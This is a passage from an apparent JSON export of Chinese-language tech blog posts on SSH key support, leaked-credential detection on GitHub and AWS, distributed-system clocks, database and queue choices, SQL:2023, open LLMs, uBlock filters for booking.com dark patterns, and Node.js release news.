    "body": "查了一下這兩個 server 端的軟體支援 <a href=\"https://en.wikipedia.org/wiki/Ed25519\">Ed25519</a> 的時間點。\r\n\r\n<a href=\"https://www.openssh.com/\">OpenSSH</a> 是在 2014/01/30 的 6.5 就支援了：\r\n\r\n<blockquote>* ssh(1), sshd(8): Add support for Ed25519 as a public key type.  Ed25519 is a elliptic curve signature scheme that offers  better security than ECDSA and DSA and good performance. It may be used for both user and host keys.</blockquote>\r\n\r\n算是相當久以前就支援了。對應到第一個支援的 <a href=\"https://www.debian.org/\">Debian</a> 版本是 <a href=\"https://www.debian.org/releases/jessie/\">Jessie</a> 使用的 OpenSSH 6.7：「<a href=\"https://manpages.debian.org/jessie/openssh-server/sshd.8.en.html\">sshd(8) — openssh-server — Debian jessie — Debian Manpages</a>」；第一個支援的 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> (<a href=\"https://en.wikipedia.org/wiki/Long-term_support\">LTS</a>) 版本是 <a href=\"https://releases.ubuntu.com/trusty/\">Trusty</a> (14.04) 用的 OpenSSH 6.6：「<a href=\"https://launchpad.net/ubuntu/trusty/+source/openssh\">openssh source package in Trusty</a>」。\r\n\r\n<a href=\"https://matt.ucc.asn.au/dropbear/dropbear.html\">Dropbear</a> 這邊就晚不少，在 2020/06/15 的 2020.79 版本才支援：\r\n\r\n<blockquote>- Support ed25519 hostkeys and authorized_keys, many thanks to Vladislav Grishenko.  This also replaces curve25519 with a TweetNaCl implementation that reduces code size.</blockquote>\r\n\r\n所以對應到第一個支援的 Debian 版本是 <a href=\"https://www.debian.org/releases/bullseye/\">Bullseye</a> 的 2020.81：「<a href=\"https://packages.debian.org/bullseye/dropbear\">Debian -- Details of package dropbear in bullseye</a>」；第一個支援 Ubuntu (LTS) 的版本是 <a href=\"https://www.releases.ubuntu.com/jammy/\">Jammy</a> (22.04) 的 2020.81：「<a href=\"https://packages.ubuntu.com/jammy/dropbear\">Ubuntu – Details of package dropbear in jammy</a>」。\r\n\r\n這樣看起來如果就是想要用 Ed25519 的話，變成 server 端的軟體得配合：預設裝的 sshd 應該都是 OpenSSH，如果想要換 Dropbear 的話要看 distribution 內給的版本夠不夠新，或是透過 <a href=\"https://en.wikipedia.org/wiki/Personal_Package_Archive\">PPA</a> 之類的方法裝新版。\r\n\r\n但大多數採用 <a href=\"https://en.wikipedia.org/wiki/BusyBox\">BusyBox</a> 的機器應該沒有採用新版 Dropbear (像是 AP 刷機)，這邊還是得使用其他 key format，如果要避開 <a href=\"https://www.nist.gov/\">NIST</a> 有介入的格式，就還是得用 ssh-rsa 了。",
    "title": "OpenSSH 與 Dropbear 對 Ed25519 的支援"
  },
  {
    "id": "11132",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=35466675\">What happens when you leak AWS credentials and how AWS minimizes the damage (xebia.com)</a>」這篇，原文連結在「<a href=\"https://xebia.com/blog/what-happens-when-you-leak-aws-credentials-and-how-aws-minimizes-the-damage/\">What happens when you leak AWS credentials and how AWS minimizes the damage</a>」這邊。原文跟 Hacker News 上的寫到東西都頗有趣的，可以分開來講。\r\n\r\n先是原文的部份，他抓了一些時間軸：\r\n\r\n<blockquote>12:33:12 – Pushed the credentials to GitHub\r\n12:34:19 – The AWSCompromisedKeyQuarantineV2 policy is attached to the IAM user test-user by AWS\r\n12:34:32 – Various List and Describe calls are made using the leaked credentials\r\n12:35:08 – Received an email from AWS with the subject ‘ACTION REQUIRED: Your AWS Access Key is Exposed for AWS Account 12345678’</blockquote>\r\n\r\n可以看到推上 <a href=\"https://github.com/\">GitHub</a> 後，<a href=\"https://aws.amazon.com/\">AWS</a> 在一分七秒後就自動加上 <a href=\"https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantineV2.html\">AWSCompromisedKeyQuarantineV2</a> 以減少災害擴大，然後再發信件通知。\r\n\r\n這個功能可以參考 GitHub 的文件說明：「<a href=\"https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning\">About secret scanning - GitHub Docs</a>」。\r\n\r\n另外在 Hacker News 上面看到有人直接把 secret scanning 當作 API 串來用 (噗)，把在 <a href=\"https://pypi.org/\">PyPI</a> 上面掃到的 AWS secret 丟上 GitHub 觸發後續的機制：\r\n\r\n<blockquote>I set up a project[1] to automatically leak AWS secrets published to the Python package index, which then triggers the secret scanning process and quarantines the keys[2]\r\n\r\n1. https://github.com/pypi-data/pypi-aws-secrets\r\n\r\n2. https://github.com/pypi-data/pypi-aws-secrets/blob/main/keys...</blockquote>",
    "title": "測試 GitHub 與 AWS 可以多快偵測出外洩的 token"
  },
  {
    "id": "11133",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=35399603\">Clocks and Causality – Ordering Events in Distributed Systems (2022) (exhypothesi.com)</a>」這篇，講分散式系統上 clock 的設計，作者也有跑出來在 Hacker News 上面跟大家聊一下 (帳號是 <a href=\"https://news.ycombinator.com/user?id=thoughtlede\">thoughtlede</a>)，原文在「<a href=\"https://www.exhypothesi.com/clocks-and-causality/\">Clocks and Causality - Ordering Events in Distributed Systems</a>」這邊。\r\n\r\n文章裡面主要講空間是 [latex]O(1)[/latex] 的 <a href=\"https://en.wikipedia.org/wiki/Lamport_timestamp\">Lamport timestamp</a> 與空間是 [latex]O(n)[/latex] 的 <a href=\"https://en.wikipedia.org/wiki/Vector_clock\">Vector clock</a> (這邊的 [latex]n[/latex] 相對於節點數量)，以及這兩個對應的擴充版本：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RpA4t5x.webp\" /><img src=\"https://i.gslin.com/imgur/RpA4t5x.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LbD89EN.webp\" /><img src=\"https://i.gslin.com/imgur/LbD89EN.png\" alt=\"\" /></picture>\r\n\r\n作者會整理這些資料的原因是因為在研究 <a href=\"https://en.wikipedia.org/wiki/Conflict-free_replicated_data_type\">CRDT</a> 的時候看到演算法中常常會需要處理分散式系統裡面事件的順序，所以花了一些時間整理常見的方式：\r\n\r\n<blockquote>Author here. Pleasantly surprised to see the article here.\r\n\r\nSome context behind the article. I studied CRDTs for a few months, and noticed that different CRDT designs use logical clocks in different and clever ways. And I haven't seen anyone narrate all those ways of use in one article. My attempt with this article was to dredge up those flavors of logical clocks into one article and give them names for future reference.\r\n\r\n(To respond to a couple of other comments, I ignored atomic (and gps-based) clocks in this discussion, as indicated in my footnote 3).</blockquote>\r\n\r\n我記得還有一個 <a href=\"https://gsd.di.uminho.pt/members/cbm/ps/itc2008.pdf\">Interval Tree Clocks</a> 可以參考 (在「<a href=\"https://ferd.ca/interval-tree-clocks.html\">Interval Tree Clocks</a>」這邊講的比較清楚)，是針對節點的動態增刪而改善的演算法，但不確定有什麼比較有名的系統有用。\r\n\r\n大多數應該都是用 Vector clock，畢竟是在 2007 年的「<a href=\"https://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf\">Dynamo: Amazon’s Highly Available Key-value Store</a>」被發揚光大，而且也算是還不錯的演算法？",
    "title": "分散式系統的 clock"
  },
  {
    "id": "11134",
    "body": "一樣是在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=35506236\">Who invented vector clocks? (decomposition.al)</a>」這篇文章，在找出誰發明了 <a href=\"https://en.wikipedia.org/wiki/Vector_clock\">vector clock</a>，原文在「<a href=\"https://decomposition.al/blog/2023/04/08/who-invented-vector-clocks/\">Who invented vector clocks?</a>」。\r\n\r\n主要有兩個不同的時間點，一個是 vector clock 概念的提出，另外一個是第一次用到 vector 這個詞。\r\n\r\n這篇讓我覺得有趣的地方是，vector clock 本來就是在處理分散式系統裡面事件順序的問題，而這篇文章則是在找出真實世界裡面這些發明的先後順序，而且也牽扯到了各種 citation (類比到分散式系統裡事件的 dependency)。",
    "title": "Vector clock 的發明時間軸"
  },
  {
    "id": "11135",
    "body": "前幾天不知道在哪邊看到「<a href=\"https://finbarr.ca/five-years-of-gpt-progress/\">Five years of GPT progress</a>」這篇，裡面整理了這五年 <a href=\"https://en.wikipedia.org/wiki/Generative_pre-trained_transformer\">GPT</a>/<a href=\"https://en.wikipedia.org/wiki/Large_language_model\">LLM</a> 的進程，算是回顧性質的文章，裡面當然有提到技術改善的地方 (像是參數大小，類神經網路層的架構差異)，另外裡面都有原始論文或是資料的連結，然後作者也有描述一些當時的背景，對於要釐清歷史脈絡也蠻有幫助的。\r\n\r\n從 <a href=\"https://en.wikipedia.org/wiki/Generative_pre-trained_transformer\">GPT</a>、<a href=\"https://en.wikipedia.org/wiki/GPT-2\">GPT-2</a>、<a href=\"https://en.wikipedia.org/wiki/GPT-3\">GPT-3</a> 這三個 <a href=\"https://openai.com/\">OpenAI</a> 的作品開始講，然後提到 GPT-3 帶出來的新紀元。\r\n\r\n接著提到的是各家都開始進來參與的年代，<a href=\"https://www.ai21.com/blog/announcing-ai21-studio-and-jurassic-1\">Jurassic-1</a> (<a href=\"https://www.ai21.com/\">AI21 Labs</a>)、<a href=\"https://developer.nvidia.com/megatron-turing-natural-language-generation\">Megatron-Turing NLG</a> (<a href=\"https://www.nvidia.com/\">Nvidia</a>)、<a href=\"https://arxiv.org/abs/2112.11446\">Gopher</a> (<a href=\"https://www.deepmind.com/\">DeepMind</a>)、<a href=\"https://paperswithcode.com/method/chinchilla\">Chinchilla</a> (DeepMind)、<a href=\"https://en.wikipedia.org/wiki/PaLM\">PaLM</a> (<a href=\"https://www.ai.google/\">Google AI</a>)。\r\n\r\n然後是 <a href=\"https://ai.facebook.com/blog/large-language-model-llama-meta-ai/\">LLaMa</a> (<a href=\"https://www.facebook.com/\">Facebook</a>)，第一個有參數夠大，而且效能夠好的 model，被放出來讓大家玩的 LLM。\r\n\r\n最後又回到 OpenAI 的 <a href=\"https://en.wikipedia.org/wiki/GPT-4\">GPT-4</a>。\r\n\r\n這樣整理讀起來清晰不少，但要注意裡面的發展不是線性關係，彼此之間互相影響交錯在跑 (因為中間還是有很多其他的論文互相影響)。",
    "title": "GPT 的進程 (或是 LLM 的進程)"
  },
  {
    "id": "11136",
    "body": "查資料的時候發現 <a href=\"https://github.com/RSS-Bridge/rss-bridge\">RSS-Bridge</a> 這個用 <a href=\"https://www.php.net/\">PHP</a> 寫的專案，直接找個 PHP hosting 架起來就可以用了，沒有什麼其他的需求。\r\n\r\n簡單架起來測了一輪，看起來不賴啊，如果一般人要用的話可以考慮就用這個專案就好，量很少的人可以用官方列出來的 <a href=\"https://rss-bridge.github.io/rss-bridge/General/Public_Hosts.html\">Public instances</a> 玩一下，量多的人可以自己架，PHP hosting 還蠻好找的，官方要求要 7.4+，注意一下 PHP hosting 提供的版本應該不會有太多問題。\r\n\r\n自己寫的 <a href=\"https://github.com/hasname/feedgen\">feedgen</a> 比較偏順便練 <a href=\"https://www.python.org/\">Python</a>，不過當時的確是還不知道有這樣的專案，看了一下 <a href=\"https://github.com/\">GitHub</a> 上的 tag 記錄，2013 就有的專案...",
    "title": "用 RSS-Bridge 接服務"
  },
  {
    "id": "11138",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=35526846\">SQL Maxis: Why We Ditched RabbitMQ and Replaced It with a Postgres Queue (prequel.co)</a>」這篇文章，原文在「<a href=\"https://www.prequel.co/blog/sql-maxis-why-we-ditched-rabbitmq-and-replaced-it-with-a-postgres-queue\">SQL Maxis: Why We Ditched RabbitMQ And Replaced It With A Postgres Queue</a>」這邊，裡面在講他們把 <a href=\"https://www.rabbitmq.com/\">RabbitMQ</a> 換成 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的前因後果。\r\n\r\n文章裡面可以吐嘈的點其實蠻多的，而且在 Hacker News 上也有被點出來，像是有人就有提到他們遇到了 bug (或是 feature) 卻不解決 bug，而是決定直接改寫成用 PostgreSQL 來解決，其實很怪：\r\n\r\n<blockquote>In summary -- their RabbitMQ consumer library and config is broken in that their consumers are fetching additional messages when they shouldn't. I've never seen this in years of dealing with RabbitMQ. This caused a cascading failure in that consumers were unable to grab messages, rightfully, when only one of the messages was manually ack'ed. Fixing this one fetch issue with their consumer would have fixed the entire problem. Switching to pg probably caused them to rewrite their message fetching code, which probably fixed the underlying issue.</blockquote>\r\n\r\n另外一個吐嘈的點是量的部份，如果就這樣的量，用 PostgreSQL 降低使用的 tech stack 應該是個不錯的決定 (但另外一個問題就是，當初為什麼要導入 RabbitMQ...)：\r\n\r\n<blockquote>&gt;To make all of this run smoothly, we enqueue and dequeue thousands of jobs every day.\r\n\r\nIf you your needs aren't that expensive, and you don't anticipate growing a ton, then it's probably a smart technical decision to minimize your operational stack. Assuming 10k/jobs a day, thats roughly 7 jobs per minute. Even the most unoptimized database should be able to handle this.</blockquote>\r\n\r\n在同一個 thread 下面也有人提到這個量真的很小，甚至直接不講武德提到可以用 <a href=\"https://www.jenkins.io/\">Jenkins</a> 解 XD：\r\n\r\n<blockquote>Years of being bullshitted have taught me to instantly distrust anyone who is telling me about how many things they do per day. Jobs or customers per day is something to tell you banker, or investors. For tech people it’s per second, per minute, maybe per hour, or self aggrandizement.\r\n\r\nA million requests a day sounds really impressive, but it’s 12req/s which is not a lot. I had a project that needed 100 req/s ages ago. That was considered a reasonably complex problem but not world class, and only because C10k was an open problem. Now you could do that with a single 8xlarge. You don’t even need a cluster.\r\n\r\n10k tasks a day is 7 per minute. You could do that with Jenkins.</blockquote>\r\n\r\n然後意外看到 <a href=\"https://en.wikipedia.org/wiki/Simon_Willison\">Simon Willison</a> 提到了一個重點，就是 RabbitMQ 到現在還是不支援 <a href=\"https://en.wikipedia.org/wiki/ACID\">ACID</a> 等級的 job queuing (尤其是 <a href=\"https://en.wikipedia.org/wiki/Durability_(database_systems)\">Durability</a> 的部份)，也就是希望 MQ 系統回報成功收到的 task 一定會被處理：\r\n\r\n<blockquote>The best thing about using PostgreSQL for a queue is that you can benefit from transactions: only queue a job if the related data is 100% guaranteed to have been written to the database, in such a way that it's not possible for the queue entry not to be written.\r\n\r\nBrandur wrote a great piece about a related pattern here: https://brandur.org/job-drain\r\n\r\nHe recommends using a transactional \"staging\" queue in your database which is then written out to your actual queue by a separate process.</blockquote>\r\n\r\n這也是當年為什麼用 <a href=\"https://dev.mysql.com/\">MySQL</a> 幹類似的事情，要 ACID 的特性來確保內容不會掉。\r\n\r\n這也是目前我覺得唯一還需要用 RDBMS 當 queue backend 的地方，但原文公司的想法就很迷，遇到 library bug 後決定換架構，而不是想辦法解 bug，還很開心的寫一篇文章來宣傳...",
    "title": "把 RabbitMQ 換成 PostgreSQL 的那篇文章..."
  },
  {
    "id": "11139",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://www.ferretdb.io/\">FerretDB</a> 推出 1.0 (GA) 版本：「<a href=\"https://news.ycombinator.com/item?id=35539464\">FerretDB: open-source MongoDB alternative (ferretdb.io)</a>」，原文在「<a href=\"https://blog.ferretdb.io/ferretdb-1-0-ga-opensource-mongodb-alternative/\">Announcing FerretDB 1.0 GA - a truly Open Source MongoDB alternative</a>」這邊。\r\n\r\n當初有寫過「<a href=\"https://blog.gslin.org/archives/2021/12/08/10449/mangodb-%E6%94%B9%E5%90%8D%E7%82%BA-ferretdb-%E9%9B%AA%E8%B2%82/\">MangoDB 改名為 FerretDB (雪貂)</a>」這篇，但沒注意到他們成立公司來開發？在「<a href=\"https://www.ferretdb.io/careers-at-ferretdb/\">Careers at FerretDB</a>」這邊可以看到 hiring 的訊息。\r\n\r\n官網有整理出目標，像是他們提到不是以 drop-in replacement 為目標，而是實做核心功能與常用的功能，涵蓋大多數的使用者：\r\n\r\n<blockquote>Is FerretDB 100% compatible with MongoDB?\r\n\r\nIt is not necessary, nor it is feasible to implement every single MongoDB feature out there. Our aim is to cover the core feature set of MongoDB, and then continue adding features which could enhance the experience or increase application compatibility. Non-OSS alernatives of MongoDB are similar in this sense, eg. none of these products are able to provide the full feature set of MongoDB. We are aiming to please 85% of MongoDB users, not all of them.</blockquote>\r\n\r\n但這樣也讓想換的人會有一些顧慮... 而且這邊的 85% 不知道是怎麼喊出來的？",
    "title": "MongoDB 的替代方案 FerretDB 推出 1.0 (GA) 版本"
  },
  {
    "id": "11140",
    "body": "剛剛翻資料才看到 <a href=\"https://www.oracle.com/\">Oracle</a> 對 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.7 的支援原來只剩下半年了，預定在 2023 年十月中止：「<a href=\"https://www.oracle.com/us/support/library/lifetime-support-technology-069183.pdf\">Oracle Technology Products - Oracle Lifetime Support Policy</a>」。\r\n\r\n隔壁棚 <a href=\"https://www.percona.com/\">Percona</a> 包的 <a href=\"https://docs.percona.com/percona-server/5.7/\">Percona Server for MySQL 5.7</a> 可以從「<a href=\"https://www.percona.com/services/policies/percona-software-support-lifecycle\">Percona Release Lifecycle Overview</a>」這邊查，看起來也設定一樣的時間 (2023 年十月)，但不確定會不會宣佈延長，至少提供 security fix 之類的。\r\n\r\n一直沒注意，突然發現只剩下半年...",
    "title": "MySQL 5.7 的支援只到今年十月 (Oct 2023)"
  },
  {
    "id": "11141",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=35562430\">SQL: 2023 is finished: Here is what's new (eisentraut.org)</a>」這篇題到了 SQL:2023 標準的新東西，對應的原文在「<a href=\"https://peter.eisentraut.org/blog/2023/04/04/sql-2023-is-finished-here-is-whats-new\">SQL:2023 is finished: Here is what's new</a>」這邊。\r\n\r\n「UNIQUE null treatment (F292)」讓你可以決定 <code>NULL</code> 到底要不要算 unique，剛好跟之前寫過的「<a href=\"https://blog.gslin.org/archives/2022/02/08/10532/postgresql-15-%E5%B0%87%E5%8F%AF%E4%BB%A5%E5%B0%8D%E9%80%8F%E9%81%8E-unique-%E9%99%90%E5%88%B6-null-%E7%9A%84%E5%94%AF%E4%B8%80%E6%80%A7%E4%BA%86/\">PostgreSQL 15 將可以對透過 UNIQUE 限制 NULL 的唯一性了</a>」要做的事情一樣。\r\n\r\n「ORDER BY in grouped table (F868)」則是針對沒有出現在 <code>SELECT</code> 的欄位頁可以 <code>ORDER BY</code>，看了一下說明，主要是在 <code>JOIN</code> 的時候限制住了。很明顯的 workaround 是多加上這個欄位，但就代表會增加傳回的資料量。\r\n\r\n「GREATEST and LEAST (T054)」這個因為 <code>MIN()</code> 與 <code>MAX()</code> 已經被 aggregate function 用掉了，所以只好另外取名。\r\n\r\n「String padding functions (T055)」與「Multi-character TRIM functions (T056)」是熟悉的語法，各家都有對應的 function 可以做，但這次就放進標準化。\r\n\r\n「Optional string types maximum length (T081)」是 <code>VARCHAR</code> 可以不用指定大小了，實務上應該是還好？\r\n\r\n「Enhanced cycle mark values (T133)」這編提到的 recursive 真的是每次用每次忘，然後 cycle 這個功能就沒看懂了...\r\n\r\n「ANY_VALUE (T626)」看起來可以隨機取出資料，搭配 <code>GROUP BY ''</code> 就不用拿 <code>ORDER BY RAND()</code> 這種髒髒的東西出來了？\r\n\r\n「Non-decimal integer literals (T661)」與「Underscores in numeric literals (T662)」都是讓數字更好讀以及操作。\r\n\r\n後面講了很多 <a href=\"https://en.wikipedia.org/wiki/JSON\">JSON</a> 功能，看起來是 SQL:2016 有先納入一些，但 SQL:2023 補的更完整了。\r\n\r\n然後有 Graph 相關的標準也被定義進 SQL:2023，原文介紹的也不是很多，看起來是要跨足過來？",
    "title": "SQL:2023 的新玩意"
  },
  {
    "id": "11142",
    "body": "在 <a href=\"https://www.daemonology.net/hn-weekly-ask/\">Ask Hacker News Weekly</a> 上看到的討論，有人問了目前可商用的 <a href=\"https://en.wikipedia.org/wiki/Large_language_model\">LLM</a> 有哪些：「<a href=\"https://news.ycombinator.com/item?id=35512338\">Ask HN: Open source LLM for commercial use?</a>」。\r\n\r\n有人提到 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://github.com/google-research/FLAN\">Flan</a> 應該是目前最能打的？在 <a href=\"https://huggingface.co/\">Hugging Face</a> 上可以下載到：\r\n\r\n<blockquote>I've seen this question asked repeatedly in many LLaMa threads, currently the best models that are truly open are the released models from the Flan family by Google, which includes Flan-T5[0] and Flan-UL2[1]. According to its paper, Flan-UL2 performs slightly better than Flan-T5-XXL.</blockquote>\r\n\r\n然後差不多是 <a href=\"https://en.wikipedia.org/wiki/GPT-3\">GPT-3</a> 的等級，離 GPT-3.5 或是演伸出來的 <a href=\"https://en.wikipedia.org/wiki/ChatGPT\">ChatGPT</a> 都還有段距離。但如果針對特定情境下 tune 的話應該還是能用的：\r\n\r\n<blockquote>These models perform slightly better than GPT-3 under some tasks[2], but they're still far from achieving the results from GPT-3.5 and GPT-4. This becomes evident when you try to use them in the real world; they're not \"good enough\" for general use cases, unlike ChatGPT models. However, if you can restrict your use case to one particular domain, you can achieve pretty good results by further fine-tuning these models.</blockquote>\r\n\r\n另外一則回覆有提到一些其他的 model：\r\n\r\n<blockquote>The ones I saw mentioned so far were Flan, Cerebras, GPT-J, and RWKV.\r\n\r\nNot yet mentioned:\r\n\r\n* Pythia https://github.com/EleutherAI/pythia\r\n\r\n* GLM-130B https://github.com/THUDM/GLM-130B - see also ChatGLM-6B https://github.com/THUDM/ChatGLM-6B\r\n\r\n* GPT-NeoX-20B https://huggingface.co/EleutherAI/gpt-neox-20b\r\n\r\n* GeoV-9B https://github.com/geov-ai/geov\r\n\r\n* BLOOM https://huggingface.co/bigscience/bloom and BLOOMZ https://huggingface.co/bigscience/bloomz</blockquote>\r\n\r\n看起來如果有需要用的話是可以從這裡面挖看看...",
    "title": "目前可商用的 LLM"
  },
  {
    "id": "11143",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到修改 <a href=\"https://www.booking.com/\">booking.com</a> 的 <a href=\"https://en.wikipedia.org/wiki/Dark_pattern\">dark pattern</a> 的套件：「<a href=\"https://news.ycombinator.com/item?id=35590734\">De-Stressing Booking.com (alexcharlton.co)</a>」，原文連結到「<a href=\"https://www.alexcharlton.co/projects/booking-com-de-stresser\">De-stressing Booking.com</a>」，這是 2019 的文章，在介紹他寫的套件。\r\n\r\n裡面講的是像這樣的東西：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QxPp5Fl.webp\" /><img src=\"https://i.gslin.com/imgur/QxPp5Fl.png\" alt=\"\" /></picture>\r\n\r\n這個例子裡面是故意用有壓力的顏色 (這邊是紅色) 去推動使用者趕快下單，算是蠻經典的 dark pattern，作者有舉個 <a href=\"https://www.airbnb.com/\">Airbnb</a> 的類似例子，比較起來就好很多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lxWBI5u.webp\" /><img src=\"https://i.gslin.com/imgur/lxWBI5u.jpg\" alt=\"\" /></picture>\r\n\r\n在 comment 也有人提到其他種類的 dark pattern，故意把一些飯店標成已經售出，製造你不趕快訂就會釘不到的假象。不過下面有人提到，在有些法律制度比較完整的國家裡面，這會牽扯到不實宣傳之類的行為：\r\n\r\n<blockquote>After browsing hotels for some time I've seen booking.com show several hotels start to sell out of rooms. That usually causes me to hurry up and book, but after several hotels showed full at once I got suspicious and checked my partners phone. The hotels still showed as available there. Dark stuff. Their website is otherwise pretty good though and I still use them.</blockquote>\r\n\r\n在「<a href=\"https://www.gov.uk/cma-cases/online-hotel-booking\">Online hotel booking</a>」這邊有英國對這些線上訂房網站的調查與裁罰。\r\n\r\n然後在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的 comment 有看到一個有趣的方法，是 <a href=\"https://news.ycombinator.com/user?id=PresidentObama\">PresidentObama</a> 提到的方法 (這 id XDDD)，用 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 來擋：\r\n\r\n<blockquote>From the last time booking.com was discussed I picked up some ublock origin filters that make the website more bearable.\r\n\r\nYou can copy and paste them directly in your ublock config (ublock options -> My filters)\r\n\r\n<pre>  ! https://news.ycombinator.com/item?id=21860328\r\n  booking.com##.soldout_property\r\n  booking.com##.sr_rooms_left_wrap.only_x_left\r\n  booking.com##.lastbooking\r\n  booking.com##.sr--x-times-booked\r\n  booking.com##.in-high-demand-not-scarce\r\n  booking.com##.top_scarcity\r\n  booking.com##.hp-rt-just-booked\r\n  booking.com##.cheapest_banner_content &gt; *\r\n  booking.com##.hp-social_proof\r\n  booking.com##.fe_banner__red.fe_banner__w-icon.fe_banner__scale_small.fe_banner\r\n  booking.com##.urgency_message_x_people.urgency_message_red\r\n  booking.com##.rackrate\r\n  booking.com##.urgency_message_red.altHotels_most_recent_booking\r\n  booking.com##.fe_banner__w-icon-large.fe_banner__w-icon.fe_banner\r\n  booking.com##.smaller-low-av-msg_wrapper\r\n  booking.com##.small_warning.wxp-sr-banner.js-wxp-sr-banner\r\n  booking.com##.lock-price-banner--no-button.lock-price-banner.bui-u-bleed\\@small.bui-alert--large.bui-alert--success.bui-alert</pre></blockquote>\r\n\r\n另外還有擋一些追蹤的 url parameter：\r\n\r\n<blockquote>Apart from these, I use some additional ublock filters to block some of their tracking that I am not ok with.\r\n  <pre>$removeparam=/^(error_url|ac_suggestion_theme_list_length|ac_suggestion_list_length|search_pageview_id|ac_click_type|ac_langcode|ac_position|ss_raw|from_sf|is_ski_area|src|sb_lp|sb|search_selected|srpvid|click_from_logo|ss|ssne|ssne_untouched|b_h4u_keep_filters|aid|label|all_sr_blocks|highlighted_blocks|ucfs|arphpl|hpos|hapos|matching_block_id|from|tpi_r|sr_order|srepoch|sr_pri_blocks|atlas_src|place_types)/,domain=booking.com\r\n  $removeparam=/sid=.\\*;BBOX/,domain=booking.com\r\n  ||www.booking.com/c360/v1/track\r\n  ||www.booking.com/fl/exposed\r\n  ||booking.com/personalisationinfra/track_behaviour_property\r\n  ||booking.com/has_seen_review_list</pre></blockquote>\r\n\r\n不過好像很少用 booking.com 了...",
    "title": "修改 booking.com 的 dark pattern"
  },
  {
    "id": "11144",
    "body": "在 <a href=\"https://simonwillison.net/\">Simon Willison</a> 這邊看到的玩法，透過 <a href=\"https://en.wikipedia.org/wiki/WebGPU\">WebGPU</a> 在瀏覽器上面直接跑 <a href=\"https://en.wikipedia.org/wiki/Large_language_model\">LLM</a> 的 demo：「<a href=\"https://simonwillison.net/2023/Apr/16/web-llm/\">Web LLM runs the vicuna-7b Large Language Model entirely in your browser, and it’s very impressive</a>」，專案在「<a href=\"https://mlc.ai/web-llm/\">Web LLM</a>」這邊，可以直接玩。\r\n\r\n不過要注意一下瀏覽器的支援度，如果是 <a href=\"https://www.google.com/chrome/\">Chrome</a> 的話需要 113+，但目前 stable 還是 112；而 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的話我試過在 <code>about:config</code> 裡面用 <code>dom.webgpu.enabled</code> 打開 WebGPU 支援，但重開瀏覽器後還是跑不動？(也有可能是 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 環境的關係)\r\n\r\n<strong>Update</strong>：應該是 Linux 環境的關係，我在 Linux 下用 dev channel (114) 也不行。\r\n\r\n話說有 WebGPU 後是不是開始要擋 GPU 挖礦了...",
    "title": "透過 WebGPU 跑的 Web LLM"
  },
  {
    "id": "11145",
    "body": "看到 <a href=\"https://nodejs.org/\">Node.js</a> 推出 20 了，官方的公告：「<a href=\"https://nodejs.org/en/blog/announcements/v20-release-announce\">Node.js 20 is now available!</a>」。\r\n\r\n裡面提到的 <a href=\"https://nodejs.org/api/permissions.html\">Permission Model</a>，設計上看起來有點雷？這種東西應該要有白名單機制才對，目前看起來是實做黑名單機制...\r\n\r\n然後結尾有提到 14 是這個月收攤，16 則是因為 <a href=\"https://www.openssl.org/\">OpenSSL</a> 1.1.1 EoL，打算切齊而提前到今年九月收 (參考 OpenSSL 官方前陣子發的「<a href=\"https://www.openssl.org/blog/blog/2023/03/28/1.1.1-EOL/\">OpenSSL 1.1.1 End of Life</a>」)：\r\n\r\n<blockquote>Also of note is that Node.js 14 will go End-of-Life in April 2023, so we advise you to start planning to upgrade to Node.js 18 (LTS) or Node.js 20 (soon to be LTS).\r\n\r\nPlease, consider that Node.js 16 (LTS) will go End-of-Life in September 2023, which was brought forward from April 2024 to coincide with the end of support of OpenSSL 1.1.1.</blockquote>\r\n\r\n查了 18 會是 2025 年四月底，20 則會是 2026 年四月底...",
    "title": "Node.js 20"
  },
  {
    "id": "11147",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=35617198\">Astral (astral.sh)</a>」這個，網站在「<a href=\"https://astral.sh/\">Astral: Next-gen Python tooling</a>」。\r\n\r\n裡面提到的 <a href=\"https://astral.sh/ruff\">Ruff</a> 專案是一套用 <a href=\"https://www.rust-lang.org/\">Rust</a> 寫的 <a href=\"https://www.python.org/\">Python</a> <a href=\"https://en.wikipedia.org/wiki/Lint_(software)\">Linter</a>，主打就是速度，從官網提供的 benchmark 就可以看出來差距：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kak9Gds.webp\" /><img src=\"https://i.gslin.com/imgur/kak9Gds.png\" alt=\"\" /></picture>\r\n\r\n因為是 Python ecosystem 的東西，安裝可以直接用 <a href=\"https://pypi.org/project/pip/\">pip</a> 裝預設編好的套件，而不需要透過 <a href=\"https://doc.rust-lang.org/cargo/\">cargo</a> 自己編 (當然你想要還是可以用 cagro 編)。\r\n\r\n拿 <a href=\"https://github.com/hasname/feedgen\">feedgen</a> 